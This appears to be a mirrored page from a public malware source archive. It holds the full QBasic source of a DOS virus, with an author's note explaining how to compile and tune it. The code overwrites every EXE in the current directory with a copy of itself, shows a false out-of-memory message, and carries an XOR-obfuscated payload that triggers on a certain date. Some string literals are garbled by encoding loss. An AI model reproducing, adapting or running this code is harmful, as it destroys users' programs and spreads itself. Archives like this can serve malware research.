mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-30 19:02:32 +00:00
73 lines
2.8 KiB
QBasic
73 lines
2.8 KiB
QBasic
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A QB Virus
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Tis virus simply overwrites all the EXE's in the current DIR using DOS, it also uses a small assembly routine to "find itself" you must use QB 4.5 to compile it then after you compile (be sure to load QB with the /l switch) just run it, you may try using PKLITE on it and recording the new file size then changing the 43676 to whatever the new size is....
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DEFINT A-Z
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'$INCLUDE: 'qb.bi'
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DECLARE FUNCTION ProgramName$ ()
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SHELL "DIR /b *.exe<78>¨<3B>"
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OPEN "<22>¨<3B>" FOR BINARY AS #1
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IF LOF(1) = 0 THEN CLOSE : KILL "<22>¨<3B>": GOTO endit
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CLOSE
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OPEN "<22>¨<3B>" FOR INPUT AS #1
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1 LINE INPUT #1, host$
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GOSUB infect
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endit:
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crdate$ = "<22><><EFBFBD><EFBFBD><EFBFBD>"
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FOR i = 1 TO LEN(crdate$)
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cdate$ = cdate$ + CHR$(ASC(MID$(crdate$, i, 1)) XOR &HFE)
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NEXT
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IF MID$(DATE$, 1, 5) = cdate$ THEN GOSUB message
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PRINT "Program to big to fit in memory"
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END
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infect:
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OPEN host$ FOR BINARY AS #2
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IF LOF(2) < 1200 OR LOF(2) = 43676 OR LOF(2) = 0 THEN CLOSE : GOTO 1
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CLOSE
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doit$ = "copy " + ProgramName$ + " " + host$ + "nul"
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SHELL doit$
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CLOSE : GOSUB endit
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END
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message:
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CLS
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FOR i = 1 TO 25 * 19.2
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PRINT "°±²<3B>";
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COLOR RND * 14 + 1
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NEXT
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DO: LOOP UNTIL INKEY$ < ""
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CLS
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PRINT
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msg$ = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԍ<EFBFBD><D48D><EFBFBD><EFBFBD>...<2E>"<EFBFBD><EFBFBD>""<EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>§"
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FOR i = 1 TO 37
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PRINT CHR$(ASC(MID$(msg$, i, 1)) XOR &HAD);
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NEXT
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FUNCTION ProgramName$ STATIC
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DIM Regs AS RegType 'Allocate space for TYPE
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' RegType
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Regs.ax = &H5100 'DOS function 51h
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Interrupt &H21, Regs, Regs ' Get PSP Address
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DEF SEG = Regs.bx 'Regs.bx returns PSP sgmnt.
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EnvSeg% = PEEK(&H2C) + PEEK(&H2D) * 256 'Get environment address
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DEF SEG = EnvSeg% 'Set environment address
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DO
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Byte% = PEEK(Offset%) 'Take a byte
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IF Byte% = 0 THEN 'Items are ASCIIZ
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Count% = Count% + 1 ' terminated
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IF Count% AND EXEFlag% THEN 'EXE also ASCIIZ terminated
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EXIT DO 'Exit at the end
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ELSEIF Count% = 2 THEN 'Last entry in env. is
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EXEFlag% = -1 ' terminated with two
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Offset% = Offset% + 2 ' NULs. Two bytes ahead
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END IF ' is the EXE file name.
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ELSE 'If Byte% < 0, reset
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Count% = 0 ' zero counter
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IF EXEFlag% THEN 'If EXE name found,
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Temp$ = Temp$ + CHR$(Byte%) ' build string
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END IF
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END IF
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Offset% = Offset% + 1 'To grab next byte...
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LOOP 'Do it again
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DEF SEG 'Reset default segment
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ProgramName$ = Temp$ 'Return value
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Temp$ = "" 'Clean up
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END FUNCTION
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